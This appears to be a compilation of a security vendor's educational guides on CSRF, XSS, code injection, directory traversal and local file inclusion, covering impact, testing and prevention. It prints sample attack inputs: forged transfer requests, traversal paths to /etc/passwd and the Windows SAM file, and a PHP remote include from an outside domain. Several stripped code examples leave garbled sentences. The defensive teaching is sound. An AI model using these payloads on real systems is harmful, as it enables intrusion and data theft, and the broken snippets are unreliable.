What Is Cross-Site Request Forgery (CSRF)? Impact and Prevention

Table of Content

  1. What Is the Impact of CSRF Attacks?
  2. How Does Cross-site Request Forgery Work?
  3. CSRF Attack Example
  4. What are CSRF Tokens?
  5. Common CSRF Vulnerabilities: Weaknesses in CSRF Token Implementations
  6. CSRF Prevention: Beyond CSRF Tokens
  7. How CSRF Attacks Are Crafted: Token and Origin Weaknesses
  8. Real-World CSRF Exploitation Examples
  9. CSRF Protection Mechanisms and Best Practices
  10. Testing for CSRF Vulnerabilities in Web Applications
  11. See Additional Guides on Key Application Security Topics

Cross-Site Request Forgery (CSRF), also known as XSRF, Session Riding, or one-click attacks, is a web security vulnerability that tricks a web browser into executing an unwanted action on a trusted site. The attacker abuses the trust that a web application has for the victim’s browser, exploiting the trust a web application has in an authenticated user. This can occur when a malicious website, blog, email message, instant message, or web application tricks a user’s web browser into performing an unwanted action on a trusted site.

In a CSRF attack, an attacker assumes the victim’s identity and uses it to perform actions on behalf of the user. For example, a successful CSRF attack can force a user to transfer funds, change their email address, or change their password. Attackers typically use social engineering schemes to trick users into executing these attacks. For example, a user might receive an email or a text message with a link that urges them to immediately take action.

CSRF attacks allow an attacker to partly bypass the same-origin policy, which is meant to prevent different websites from interfering with each other. For a CSRF attack to be possible, three key conditions must be in place: 

  • An operation in the web application that provides value to the attacker
  • Cookie-based session handling
  • No unpredictable request parameters. 

A successful CSRF attack can be devastating for both the web application’s owner and its users. The impact can include: 

  • Complete compromise of the web application, if the victim is an administrative account
  • Gaining privileges or assuming identity
  • Bypassing protection mechanism
  • Reading or modifying application data
  • Denial of service (Dos): crash, exit, or restart.

This is part of an extensive series of guides about application security

What Is the Impact of CSRF Attacks?

When a website sends a data request to another website on behalf of a user along with the user’s session cookie, an attacker can launch a Cross-Site Request Forgery Attack, which abuses a trustful relationship between the victim’s browser and the webserver.

In some cases, depending on the type of action, the attacker can gain full control of the user’s account. If the compromised user has a privileged role within the application, the attacker might be able to take full control of all the application’s functionality and data, which is devastating to both the business and the user. The result can be data theft, unauthorized fund transfers, damaged client relationships, changed passwords and many more.

How Does Cross-site Request Forgery Work?

how does cross-site request forgery csrf work

When a user tries to access a site, the browser often automatically includes the credentials in the request, to make the login process more convenient. These credentials may include the user’s session cookie, basic authentication credentials, IP address, and Windows domain credentials. 

The risk inherent in this mechanism is that attackers can easily impersonate the user. Once a user passes the site’s identity verification, the site cannot differentiate between a forged request and a legitimate user request.

In a CSRF attack, an attacker assumes the victim’s identity, and uses it to perform actions on behalf of the user, without their consent. Attackers typically follow this process:

  1. They use social engineering techniques to persuade the victim to click a link via email, chat message, or similar form of communication. 
  2. Either the malicious link itself, or a web page the user visits, triggers a request to the targeted site
  3. The request supposedly comes from the user, and takes advantage of the fact that the user is already signed into the website. 
  4. The website acknowledges the request and performs the attacker’s requested action, without the user’s knowledge or consent.

CSRF attacks typically attempt to change server state, but can also be used to gain access to sensitive data. If an attacker successfully performs a CSRF attack against the victim’s account, they can transfer funds, purchase a product, modify account information such as the shipping address, modify the password, or any other action available when the user is signed in.

Related content: Read our guide to csrf vs xss.

CSRF Attack Example

The following example shows how a typical GET request for a $5,000 bank transfer might look like:

GET https://abank.com/transfer.do?account=RandPerson&amount=$5000 HTTP/1.1

An attacker can modify the script so it will result in a $5,000 transfer to their personal account The malicious request might look like:

GET https://abank.com/transfer.do?account=SomeAttacker&amount=$5000 HTTP/1.1

Afterwards, the attacker is able to embed the request into a harmless-looking hyperlink:

Click for more information

The next step is to distribute the hyperlink via email to a massive number of bank clients. Those who are logged into their bank account and click on this link will unintentionally initiate the $5,000 transfer.

If the bank’s website is only using POST requests, it’s not possible to frame malicious requests using a href tag. However, the attack can be delivered in a

This is how such a form may look, and it can even be a self submitting form:





Because the form above does not have a submit button, it will be triggered without a user’s knowledge and consent. Instead, the button is replaced by only one line of javascript:

document.getElementById('csrf').submit();

Learn more in our detailed guide to cross site request forgery testing.

What are CSRF Tokens?

A CSRF token is a unique, unpredictable secret value generated by a server-side application, and sent to the client for inclusion in subsequent HTTP requests issued by the client. After the token is issued, when the client makes a request, the server checks to see if the request contains the expected token, and rejects it if the token is missing or invalid.

CSRF tokens can prevent CSRF attacks, because they prevent attackers from forming fully valid HTTP requests, which they can feed to a victim. The attacker cannot determine or predict the value of the user’s CSRF token, so any request they generate should not be accepted by the application.

Common CSRF Vulnerabilities: Weaknesses in CSRF Token Implementations

Some of the most common CSRF vulnerabilities are caused by errors in the CSRF token verification process. Make sure your CSRF process does not have any of these weaknesses.

Validation depends on presence of token

In some applications, the verification process is skipped if the token does not exist. This means that the attacker only needs to find code containing token information, and remove it, and token validation is not performed by the application.

CSRF token is not associated with user session

Some applications maintain a pool of tokens, and as long as a token from the pool is used, it is accepted. However, the application does not tie specific tokens to specific users. An attacker only needs to obtain at least one token from the pool, and can use it to impersonate any user.

Token validation changes with HTTP method

In some applications, using the GET method instead of the POST method will cause CSRF validation not to work properly. The attacker simply needs to switch from POST to GET, and easily bypass the verification process.

CSRF token is copied to the cookie

Some applications do not keep a record of tokens that are already in use. Instead, they copy the request parameters associated with each token into the user’s cookie. In this setup, the attacker can create a cookie that contains a token using the application’s expected format, place it in the user’s browser, and then execute a CSRF attack. The request sent by the user’s browser will be validated, because it will match the malicious cookie provided by the attacker.

Related content: Read our guide to csrf mitigation.

CSRF Prevention: Beyond CSRF Tokens

The basic way to prevent CSRF is to implement CSRF tokens, while avoiding the weaknesses we described in the previous section. Here are additional ways you can prevent CSRF attacks.

Use Advanced Validation Techniques to Reduce CSRF

An attacker can initiate a CSRF attack when all the parameters used in the form are identified. Hence, in order to prevent a CSRF attack, you can add an additional parameter with an additional value that the attacker is unaware of, but the server requires validation.  

The most widely used prevention technique for CSRF attacks is known as an anti-CSRF token, or synchronizer token. When a user makes some authenticated request by submitting a form, a random token should be included in that request. Then the website will verify the occurrence of this token before processing the sent request and if the token is missing or the value is incorrect, the request will be rejected and the attacker won’t be able to launch a CSRF attack.

The SameSite cookie attribute, which is defined in RFC 6265 bis, attempts to mitigate CSRF attacks. The attribute tells the browser when it is okay to send cookies with cross-site requests. The SameSite cookie attribute comes with three possible values – Strict, Lax, or None
The majority of mobile browsers and all desktop browsers support this attribute.

The Strict value can tell the browser not to send a cookie to the site during a cross-site browsing session. This includes a session that follows a regular link. For example, when a user logs in to GitHub and browses a private GitHub project hosted by a corporation, the browser does not send a session cookie to GitHub, restricting access to the project. 

If there is no need to allow external sites to link to transactional pages, you can use the Strict flag. However, if you need to create a balance between usability and security, enabling users directed by external links to maintain logged-in sessions – you should use the default Lax value. Generally, cross-site requests granted during Lax mode are considered safe HTTP methods.   

Here are two example of cookies using the SameSite cookie attribute:

Set-Cookie: JSESSIONID=xxxxx; SameSite=Strict
Set-Cookie: JSESSIONID=xxxxx; SameSite=Lax

User Interaction Based CSRF Defense

Generally, defense mechanisms that require user intervention can negatively impact the user experience. However, in some cases, such as financial transactions, it is appropriate and required to implement this type of technique. For example, you can add a CAPTCHA, which helps validate that it is indeed a human user rather than a robot.

A one-time token can also ensure that it is the user and not an attacker using a logged-in session. The token is usually sent to the email address or phone number of the user, validating with the information previously provided by the user. Additionally, you can introduce re-authentication, which can help differentiate between a CSRF session and a real user.

Login CSRF

Many developers ignore CSRF vulnerabilities in an application’s login form. This is because the user is not yet authenticated at this stage, so developers assume that there is no risk of CSRF. However, this assumption is not always correct. Attackers can perform login CSRF attacks, which can have varying impacts depending on the application.

Login CSRF attacks can be mitigated by creating a pre-session (starting a session before user authentication) and requesting the token in the login form. 

It is difficult to mitigate login CSRF if you cannot trust subdomains (for example, if you allow your users to define their own subdomains). In these cases, you can use strict subdomain and path-level referrer header verification to reduce CSRF risk on login forms.

Related content: Read our guide to open redirect.

Conduct Regular Web Application Security Tests to Identify CSRF

Even if vulnerabilities in web applications with CSRF attacks are successfully addressed, application updates and code changes may expose your application to CSRF in the future. Web application security testing helps you continuously scan and test for potential security weaknesses in web applications, including CSRF vulnerabilities.

Bright helps automate the detection and remediation of many vulnerabilities including CSRF, early in the development process, across web applications and APIs. 

By shifting DAST scans left, and integrating them into the SDLC, developers and application security professionals can detect vulnerabilities early, and remediate them before they appear in production. Bright completes scans in minutes and achieves zero false positives, by automatically validating every vulnerability. This allows developers to adopt the solution and use it throughout the development lifecycle. 

Scan any web app, or REST and GraphQL APIs to prevent CSRF vulnerabilities with Bright!

How CSRF Attacks Are Crafted: Token and Origin Weaknesses

First things first, the abbreviation CSRF stands for Cross-Site Request Forgery. Now let’s look at how a CSRF attack works – the attacker persuades an authorized user to make a request unintentionally.

The main reason why it is possible to conduct such an attack lies in the way the application trusts any request initiated by the user from a web browser. When there is no token implemented for CSRF protection, the server cannot differentiate the request from another one.

One more security hole in web applications lies in the absence of origin validation. If the source of the request is not validated, the attacker can pretend that he or she initiates it. CSRF attacks often involve hiding malicious links and forms so that the victim would click on them.

Real-World CSRF Exploitation Examples

CSRF attacks don’t just happen in hypothetical situations; there have been many actual instances. After learning about the CSRF full form, you’ll notice that this practice is more prevalent than most think.

Consider the following scenario. While on an online banking website, or perhaps a social networking site, you open another tab and do something entirely different. This action inadvertently causes a hidden request to be made, which may result in the user’s email address being changed, their password updated, or money being transferred.

There have been incidents of users liking or subscribing to pages/accounts while not having clicked anything at all. Such practices constitute CSRF attacks without any passwords being stolen or any tools being used for hacking.

CSRF Protection Mechanisms and Best Practices

Once you understand how CSRF works, the fix is actually pretty straightforward – but it needs to be done properly. Again, keeping the CSRF full form in mind helps: you’re trying to stop forged requests.

The most common solution is CSRF tokens. These are random values generated by the server and checked on every important request. If the token is missing or wrong, the request gets rejected.

Then there’s SameSite cookies, which tell the browser not to send cookies in cross-site requests. It’s a small setting, but it makes a big difference. Some teams also validate the Origin or Referer header to double-check where the request is coming from.

Individually, these aren’t perfect. But together, they make CSRF attacks much harder to pull off.

Testing for CSRF Vulnerabilities in Web Applications

However, when it comes to testing for CSRF, one does not need much technical knowledge – one needs to think of the attacker instead. Knowing what CSRF stands for helps the tester identify which requests should be tested against such vulnerabilities.

One way of testing a system for CSRF issues is to repeat a captured request without a CSRF token. One can experiment by adding or changing some headers to see if the server will be able to recognize such requests.

Using such applications as Burp Suite simplifies testing a lot. However, tools cannot fully replace the testing process; sometimes, all of the security elements may appear to be working, but they are configured improperly.

Efficient testing implies not only checking for a certain security mechanism but also examining if it really works properly.

See Additional Guides on Key Application Security Topics

Together with our content partners, we have authored in-depth guides on several other topics that can also be useful as you explore the world of application security.

API Security

Authored by Bright Security

Vulnerability Management

Authored by Bright Security 

Cyber Attack

Authored by Imperva

Reflected XSS: Examples, Testing, and Prevention

Table of Content

  1. Reflected XSS Attack Example
  2. How to Find and Test for Reflected XSS Vulnerabilities
  3. Reflected XSS Prevention
  4. Reflected Cross-Site Scripting vs Stored XSS: Key Differences
  5. Browser Security Features That Mitigate Reflected XSS
  6. How Reflected XSS Can Be Exploited in Phishing Attacks
  7. Tools to Scan for Reflected Cross-Site Scripting Vulnerabilities
  8. Detecting and Testing for Reflected XSS with Bright

What Is Reflected XSS (Cross-Site Scripting)?

Cross-site scripting (XSS) is an injection attack where a malicious actor injects code into a trusted website. Attackers use web apps to send malicious scripts to different end-users, usually from the browser side. Vulnerabilities that enable XSS attacks are common. They occur wherever web applications use unvalidated or unencoded user-supplied inputs.

Reflected XSS involves injecting malicious executable code into an HTTP response. The malicious script does not reside in the application and does not persist. The victim’s browser executes the attack only if the user opens a web page or link set up by the attacker. 

Reflected XSS attacks are the most common type of XSS in the real world. They are also known as Type 1, first-order, or non-persistent XSS. A single browser request and response delivers and executes the attack payload. The maliciously crafted HTTP or URI parameters contain an attack string that the legitimate application processes improperly. 

Reflected XSS Attack Example

Consider a social media site that requires users to authenticate to send and view messages. The website has a search function which displays the search string in the URL, like this:

http://socialize.com?search=latest&news

An attacker notices this and tries the following string as their search:

If the website does not properly sanitize inputs, this test script will appear in the URL, like this:

http://socialize.com?query=

And the script will execute, showing an alert box in the browser. This means the website is vulnerable to an XSS attack.

Now the attacker can craft a URL that executes a malicious script from their own domain:

http://socialize.com?query=latest&news

Random function could have a line of code something like:

function randomScript(){
  alert("Test!");
}

All the attacker has to do after opening the website is to inspect element for  the button on the page. This will allow them to see the “Event Listeners” tab, where they could see the randomScript() function code. 

An attacker could then change the onclick event to a script that they create in a console (that supports JavaScript and jQuery). 

Even though this example is harmless in itself, it shows the power that an attacker could have in debugging your website. However, the next example will show you the real impact that  code injection can have on your website. 

Code Injection in User-submitted content

Let’s say that you created an online forum. Just like with any other forum, users can submit their comments amongst other things, such as a malicious attempt of injecting JavaScript into your website via comments.

So, instead of writing a regular comment, a user might add “Comment on a forum ”. 

In case of an unprotected website, this snippet of code would be sent to the database, and then displayed for other users who open this page on the website. This directly affects all the visitors, and is a good example of a simple vulnerability that results in serious harm. In this specific example, an attacker could even place their own affiliate ads on your website, thus earning additional income .

Preventing Code Injection Attack in JavaScript

There are several things we could do in order to prevent code injection attacks in javascript. While they may not all be applicable for your projects, you’ll still find some of them useful and they might come in handy. 

Whitelisting 

Creating a whitelist for users to choose from. This one is pretty self-explanatory - your job is to set possible values in advance, thus giving the end-user a limit range of options to choose from. This is perhaps the safest way to go about preventing code injection in javascript, but it’s often impractical.

Input Validation

Unlike whitelisting, input validation is much more flexible in terms of possibilities for the end-user. It allows you to invalidate a certain set of characters that you might find threatening in that they could cause code injection. It’s a bit more demanding way of safekeeping your web apps than whitelisting, but it sure is the mandatory one as often you’ll have no other options. 

WAF

The web application firewall (WAF) is one of the best tools to utilize if you’re to protect your web applications. It prevents malicious attacks from hackers and makes sure that no important data leaks out to the end-user. You should make it a habit of setting up WAF as it could save you a lot of headaches in the future. 

Conclusion

Code injection is a massive security issue all around the web, and even more so when it comes to JavaScript. This is what makes JavaScript such a desirable target for the attackers, but if you’re able to apply some of the techniques in this article, then you should be able to go through deploying your web application stress-free, knowing that you’re protected from potential code injection.

However, if you want to be 100% sure, you might as well create a free Bright account and test your applications free of charge as soon as today!

Directory Traversal Mitigation: How to Prevent Attacks

In a directory traversal attack, a malicious user utilizes directory traversal attempts to gain access to files on the server they shouldn’t have access to. To perform a directory traversal attack, an attacker attempts to manipulate and submit different information to the target, via a URL address line or another input method.

However, a directory traversal attack doesn’t only have to result in access to otherwise forbidden files or directories. The same vulnerability can be used to upload malicious files to a web server too, making early detection and remediation of directory traversal vulnerabilities a crucial task.

Read the following article first if you want to learn more about directory traversal in general. This article is going to focus on directory traversal mitigation.

In this article:

How to mitigate directory traversal attacks?

One method for preventing directory traversal attacks is to avoid passing user-supplied input to filesystem APIs. Many functions that pass user-supplied input can be rewritten so they retain the same behavior, but in a much safer manner. If passing user-submitted content to filesystem APIs is unavoidable, ensure use of these two layers of defense:

  • Validate user supplied input: Make sure the application always validates used-supplied input before processing it. The validation can be conducted by either comparing the user-submitted input to a whitelist of acceptable values, or by verifying the input contains only acceptable content (e.g. purely alphanumeric characters).
  • You must implement a mechanism to ensure that the canonicalized path starts with the expected base directory: It is critical that your application validates that the base directory at the beginning of the canonicalized path is correct.

The source of a directory traversal vulnerability is often in the source code of the application, but it can also be in the web server itself. If that is the case, just mitigating the vulnerabilities in your source code won’t be enough. Make sure your web server is up-to-date, and is well maintained.

Don’t limit your efforts just to these tips, as web servers provide two security mechanisms that can help you with prevention of directory traversal attack, namely Access Control Lists and Root Directory.

How an ACL can help prevent directory traversal attacks

A filesystem ACL contains the information about user access privileges to a system object, a single file, or a file directory and informs the computer operating system about those privileges. An access control list is connected to every object by the object’s security property.

Once a user requests an object, the ACL is checked for a relevant entry and the operating system sees if the user has the right permissions for the requested operation.

The role of Root Directory in preventing directory traversal attacks

The root directory limits a user’s access to anything above their specific directory on a web server file system.

Here is an example that can help understand what a root directory does:

You have an application on IIS, and the default root directory is C:Inetpubwwwroot. The root directory will limit a user in accessing, for example, C:Windows. Still, this will not prevent the user from accessing C:Inetpubwwwrootnews or any other files or directories in the root directory.

The root directory will prevent a malicious user from accessing files like C:WINDOWS/system32/win.ini or /etc/passwd depending on the platform.

Here are some additional tips on how to stay safe from directory traversal attacks:

  • File system calls and user-supplied input can be dangerous together, so avoid it when possible 
  • When you are templating or using language files, you should use indexes instead of the actual sections of the file name
  • Prevent the user from supplying the whole path
  • Validate the user-supplied input by comparing it to a whitelist
  • Utilize chroot jails and access policies to control where files can be saved and retrieved
  • If you must use user-supplied input in file operations, the input must be normalized before being used in files or APIs.

How to manually test for directory traversal vulnerabilities

You can detect directory traversal vulnerabilities by either using a manual or an automated approach. Let’s go over the steps you’ll need to take to manually test for directory traversal flaws:

Step 1: Search for file names in request parameters

Our first step is to find request parameters that contain a file name or the name of a directory. Look out for something like include=main.inc or template=/en/navbar.

Step 2 – Monitor all filesystem interactions the application performs

Are there error messages or instances of operating system commands and file APIs that contain user-submitted input as parameters?

Make sure you monitor all filesystem interactions the application performs.

Step 3 – Modify the parameter’s value

Upon finding what you are looking for, you can change the parameter’s value so you can add an arbitrary subdirectory and insert one traversal sequence.

Here is an example – Imagine that the application submits the following parameter: file=foo/file1.txt. If you submit something like file=foo/bar/../file1.txt and you receive the same response, then this might indicate a vulnerability in the application.

There is a chance your application is vulnerable if the behavior stays the same in both cases. To verify the application is vulnerable, traverse above the start directory and try to access different files.

Step 4 – Try to bypass the application’s validation filters

If the application response is different in those two cases, that could mean the application blocked the parameter, the parameter got stripped, or the traversal sequence got sanitized, resulting in an invalid file path.

Experiment with bypassing the validation filters in the application.

Step 5 – Try to traverse out of the starting directory

Is there any scenario in which you can submit traversal sequences without affecting the application’s behavior if you do not step above the starting directory? To access files on the server, try traversing out of the starting directory.

Step 6 – Does the target application function provide read access to a file?

If the application function allows read access to a file, you can try to access known files on the operating system. To do so, submit the following:

../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../windows/win.ini

The browser will show the content of the requested file if the attempt was successful.

Step 7 – Does the target application function provide write access to a file?

Does the function you’re targeting provide write access to a file? Try to write two files, where one file any user has write permissions, and another one where even the Administrator or root user doesn’t have write permissions.

Try this if on Windows platforms:

../../../../../../../../../../../../writetest.txt
../../../../../../../../../../../../windows/system32/config/sam

If you are on a UNIX-based platform, try for example this:

../../../../../../../../../../../../tmp/writetest.txt
../../../../../../../../../../../../tmp

An application that behaves differently in response to those two requests is probably vulnerable.

Step 8 Verify a traversal flaw with write access

To test a traversal flaw with write access, create a new file in the web server’s webroot. If you are able to retrieve this file with a browser, your application is vulnerable.

Automatically test for directory traversal vulnerabilities with Bright

Bright Security enables you to easily scan your webapps and APIs for hundreds of security vulnerabilities, including testing for Directory Traversal vulnerabilities by performing its Local File Inclusion tests.

Whether as a standalone scanner or integrated across your CI/CD so developers can own security testing, Bright automatically validates every finding, delivering no false-positive results with developer-friendly remediation guidelines to find and fix issues early and often.

Detect security vulnerabilities in your apps and APIs for FREE – register for a Bright account!

Code Injection in Brief: Types, Examples, and Mitigation

What Is Code Injection?

Code injection refers to attacks that involve injecting malicious code into an application. The application then interprets or executes the code, affecting the performance and function of the application. Code injection attacks typically exploit existing data vulnerabilities, such as insecure handling of data from untrusted sources. 

Code injection attacks are different from command injection attacks, because in code injection attackers are limited only by the functionality of the language they inject. For example, attackers who can inject and execute PHP can accomplish anything that PHP allows. Command injection involves exploiting an application’s existing code to carry out malicious commands, typically using a remote shell.

Code injection often takes advantage of improper validation of input and output data—for instance, data format, expected data volume, and permitted characters. 

In this article:

How Code Injection Attacks Work

Code injection vulnerabilities usually affect applications with improper input validation and risky dynamic evaluation of user-submitted input. This input includes all data that a user can submit or manipulate and the application processes. In addition to directly submitted input (i.e., file uploads, fields in a form), attackers can leverage data sources outside the developer’s control (i.e., cookies, parameters in query strings). 

Applications typically expect specific input types, which the developer might not validate or sanitize. The risk is especially high if the production application contains debugging or testing code.

Applications with code injection vulnerabilities use the unsanitized data directly in their program code. Depending on the language used, an application might use functions such as eval(). Directly concatenating strings supplied by users is not considered a safe processing practice. Attackers may exploit this type of vulnerability and input malicious code strings in the application’s language. 

Successful code injection attacks may grant full access to attackers via the interpreter on the server side. Attackers can then execute code on the server and use applications with system access to escalate the attack. For example, vulnerable applications with system call access may allow an attacker to execute system commands—known as a command injection attack.  

Types of Code Injection Attacks

Here are some of the main types of code injection attacks.

XSS Attack

A cross site scripting (XSS) attack involves injecting malicious scripts into web apps and websites, which the user’s device then executes. XSS allows attackers to impersonate legitimate users and bypass security controls. They can use an initially benign website or application as an attack vector, delivering malicious scripts to the user’s web browsers without arousing suspicion. 

Attackers use XXS to steal session cookies and identifiers, user names, or passwords.

Most programming languages and environments may be vulnerable to XSS, including JavaScript, Flash, and ActiveX. JavaScript, for example, is common in web pages and integrates well with most browsers, making it an attractive target for malicious actors. 

LDAP Injection

These attacks use the Lightweight Directory Access Protocol (LDAP) to search network resources, including users, devices, and files. An LDAP injection attack may result in unvalidated LDAP statements directing the server to execute malicious commands.

SQL Injection 

These attacks exploit the Structured Query Language (SQL), a standard language for database communication. Attackers can use SQL injection to target almost all databases in all programming languages, including XML.

Attackers can inject malicious commands using the SQL syntax. They can compromise queries to view or modify databases. Some developers design fields where users can submit expanded results in SQL to access sensitive information like passwords. 

Command Injection

A command injection attack is a subject of code injection where the attacker executes arbitrary (malicious) commands on the host operating system. Command injection might involve directly executing shell commands or injecting files into the runtime environment of a server.

Attackers typically exploit an existing application vulnerability to inject the commands—for example, the application might poorly transmit user data like forms and cookies, facilitating command injection into the web server’s system shell. 

Code Injection Attack Examples

The following examples are based on code provided by the OWASP project.

Passing Malicious Script via GET Request

Consider a website that switches pages using a URL parameter:

http://example.com/index.php?page=contact.php

Inside the code, the PHP include() function is used to parse the page contents with no input validation. In this case, an attacker can replace contact.php with a malicious script hosted on another domain. For example, the attacker can access the website using this URL:

http://example.com/?page=http://otherdomain.com/malicious.php

The website will then pull the malicious.php script via the include() function and execute it—this constitutes a command injection attack.

Running System Commands via URL Parameter

Consider a website that extracts a value from a URL parameter and applies the eval() 

function to examine its content:

$var = "some_string";
$a = $_GET['arg'];
eval("$var = $a;");

If there is no input validation on URL parameters, the attacker can inject a command into the parameter:

http://example.com/index.php?arg=1; phpinfo()

The page will then evaluate the expression arg=1; phpinfo() and run the system command planted by the attacker. This is another form of code injection attack.

Learn more in these guides:

Best Practices for Preventing Code Injection Attacks

Here are some best practices to help organizations protect their applications from code injection attacks:

  • Validate user input with allow lists—allow listing provides tight security control over the types of data or input processed by an application. It is easy to set up and helps minimize the risk of malicious code execution, limiting an attacker’s ability to inject untrusted code.
  • Escape outputs—escaping involves encoding contextual HTML outputs to translate malicious input into safe representatives. Applications can safely display escaped scripts without the risk of executing malicious code.
  • Enforce language separation with static type systems—a static type system allows the security team to establish declarative control checks without minimal runtime overhead. 
  • Interpret user input with criteria-based APIs and parameterized queries—this method prevents APIs from accepting any unspecified user string values. Parameterized queries treat malicious command inputs as data strings rather than SQL commands.  
  • Keep the source code free of insecure functions—developers should avoid including any vulnerable code constructs in source code. They should only use dedicated, secure features for processing user-submitted inputs, restricting the code permitted to specific languages.
  • Disable script interaction from the client side—placing the HttpOnly flag on a cookie indicates it should be inaccessible from the client side. The server should use this flag on all cookies it creates to prevent their exposure to a third party and protect against HTML injection vulnerabilities.
  • Identify and remediate issues with SCA tools—software composition analysis (SCA) tools let teams automatically check static to identify and eliminate potential injection vectors in the source code.
  • Avoid using Javascript code serialization packages—code serialization allows developers to rearrange input data according to regular expressions and functions. Still, Javascript serialization packages do not always enable proper sanitization against unsafe characters in regular expressions. Developers should generally avoid serialization wherever possible.

Code Injection with Bright

Bright Security automatically crawls your applications to test for code injection vulnerabilities including XSS, SQLi, LDAP injection and Command injection, giving you maximum coverage, seamlessly integrated across development pipelines.

Engineering and security teams can trust Bright’s results, with automatic validation of every code injection finding carried out, with no false positives. Bright’s reports come with comprehensive developer friendly remediation advice to fix the issue quickly and early.

Get a free Bright account and start testing today!

Stored XSS: Impact, Examples, and Prevention

What Is Stored XSS (Cross Site Scripting)?

XSS is an attack technique that injects malicious code into vulnerable web applications. Unlike other attacks, this technique does not target the web server itself, but the user’s browser. 

Stored XSS is a type of XSS that stores malicious code on the application server. Using stored XSS is only possible if your application is designed to store user input—a classic example is a message board or social media website. 

In this article:

How Does a Stored XSS Attack Work?

A stored XSS attack typically works as follows:

  1. An attacker injects malicious code in a request to submit content to the application. 
  2. The application believes the request is innocent, processes the user input and stores it in the database. 
  3. From this point onwards, every time the submitted content is displayed to users, the malicious code executes on their browsers.

Depending on the type of payload and the vulnerabilities present in the user’s browser, stored XSS attacks can allow attackers to:

  • Hijack the user’s session and perform actions on their behalf
  • Steal the user’s credentials
  • Hijacking the user’s browser or delivering browser-based exploits
  • Obtain sensitive information stored in the user’s account or in their browser
  • Port scanning of hosts the web application can connect to
  • Website defacement

Why Is Stored XSS Dangerous?

Stored XSS (also known as second-order XSS) is the most dangerous type of cross-site scripting attack. The reason is that it does not require users to click a malicious link or perform any activity, other than browsing to a legitimate web page. Once an attacker discovers a stored XSS vulnerability and injects XSS code into the database, all visitors to affected pages are compromised, until the exploit is discovered.

Stored XSS attacks are even more significant in websites that require authentication. When an authenticated user visits a page with stored XSS, attackers are usually able to hijack their session and perform actions on their behalf. On some websites, such as those of financial or medical institutions, this can result in financial loss or exposure of highly sensitive data.

The most damaging scenario is when the user exposed to stored XSS is a highly privileged user, such as the administrator of the web application or other systems. Attackers may be able to obtain the session authentication token, gaining admin-level access to the network.

While stored XSS attacks are severe, they are also quite rare, because an attacker needs to find a combination of a website with high traffic, which also accepts user inputs, and suffers from an XSS vulnerability. 

Stored XSS Attack Example

Consider an attacker browsing a retail website. The attacker notices a vulnerability that allows HTML tags to be included in the comments section, including the

The comment is published on the page and every time the page loads for a visitor, the malicious script runs. In this case, the script is designed to steal a visitor’s session cookie, meaning the attacker can take over a user’s account. This gives them access to credit card and other personal data, and also lets them make purchases on behalf of the user.

What is important to realize is that any visitor who clicks through to a page where this comment appears, even if they don’t scroll down to the comment section, will be affected by the attack without knowing it. This is in contrast to a reflected XSS attack, in which victims must click a malicious link to be affected. This means stored XSS can impact many more website users, including those who are security conscious and careful about clicking unknown links.

See real life examples of attacks in our guide to XSS attacks

How to Find and Test for Stored XSS Vulnerabilities

There are multiple website vulnerability scanners available that can automatically detect stored XSS vulnerabilities. Dynamic Application Security Testing (DAST) tools like Bright go one step further, exercising user inputs and demonstrating if the vulnerability can be exploited or not.

Can you test for stored XSS manually?

Testing for stored XSS vulnerabilities manually can be difficult. A stored XSS vulnerability means that an entry point, where the application accepts user input, connects to an exit point where that input is displayed to a user.

Systematically testing for stored XSS means inspecting all entry points via HTTP request headers, URL query string and message body, URL path, or specific application functionality such as commenting, messaging, or any submission of data via forms. 

Large web applications may have a large number of entry points. The main challenge is that the tester cannot foresee which exit point will display a user input. For example, user-provided display names can appear in multiple places in the user interface, in an audit log, and in many other locations. 

Stored XSS testing method

  • Identifying entry points to the application
  • Submitting inputs into each entry point
  • Checking to see where the application displays those entry points
  • Ensuring that the displayed content is persistent across sessions, and not only shown for the current session
  • Testing the XSS payload itself, like in a reflected XSS attack

Related content: Read our guide to XSS vulnerabilities

Stored XSS Prevention

There are several factors to keep in mind to help you prevent stored XSS: 

  • Secure handling of user input—you must never implicitly trust input submitted by a user. Inspect all user-submitted input to ensure it doesn’t include risky characters that may affect how a user’s browser interprets the data on your website. Implement thorough input validation and ensure characters are output-escaped.
  • Request blocking—you can allow or block user-submitted input based on its risk of containing a malicious payload. For example, if the input contains

    Because the code does not validate the REQUEST_URI, an attacker can manipulate this data value to execute a malicious script. Attackers can use this, for example, to hijack a session cookie. 

    http://testsite.test/ The result is: Not found: / (but with JavaScript code )

    Detecting and Testing for XSS with Bright

    While Dynamic Application Security Testing (DAST) tools are able to test for some XSS vulnerabilities, they are often limited and produce a high ratio of false positives.

    Bright can automatically crawl your applications to test for reflected, stored and DOM-based XSS vulnerabilities, giving you maximum coverage, seamlessly integrated across development pipelines.

    Engineering and security teams can trust Bright’s results, with automatic validation of every XSS finding carried out, with no false positives. Bright even generates a screenshot proof of concept along with comprehensive developer friendly remediation advice to fix the issue quickly and early.

    Get a free Bright account and start testing today!

Local File Inclusion (LFI): Understanding and Preventing LFI Attacks

Table of Contents

  1. What is Local File Inclusion (LFI)?
  2. How Do Local File Inclusions Work?
  3. Scenarios Where Local File Inclusions Are Used
  4. Manually Testing for Local File Inclusion
  5. Impact of Exploited Local File Inclusion Vulnerabilities
  6. Preventing Local File Inclusion vulnerabilities
  7. Common Real-World Examples of Local File Inclusion (LFI) Attacks
  8. Local File Inclusion vs Remote File Inclusion (LFI vs RFI)
  9. Tools and Techniques Used to Detect LFI Vulnerabilities
  10. Best Practices for Secure File Handling in Web Applications
  11. How Bright Can Help You Find LFI Vulnerabilities

What is Local File Inclusion (LFI)?

Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server. LFI attacks can expose sensitive information, and in severe cases, they can lead to cross-site scripting (XSS) and remote code execution. LFI is listed as one of the OWASP Top 10 web application vulnerabilities.

File inclusions are a key to any server-side scripting language, and allow the content of files to be used as part of web application code. Here is an example of how LFI can enable attackers to extract sensitive information from a server. If the application uses code like this, which includes the name of a file in the URL:

https://example-site.com/?module=contact.php

An attacker can change the URL to look like this:

https://example-site.com/?module=/etc/passwd

And in the absence of proper filtering, the server will display the sensitive content of the /etc/passwd file.

As LFIs help an attacker trick a web application into either running or exposing files on a web server, a local file inclusion attack can lead to cross-site scripting (XSS) and remote code execution (RFI) vulnerabilities.

This is part of an extensive series of guides about application security

How Do Local File Inclusions Work?

When an application uses a file path as an input, the app treats that input as trusted and safe. A local file can then be injected into the included statement. This happens when your code is vulnerable. In this case, a hacker makes a request that fools the app into executing a malicious PHP script (web shell for example). 

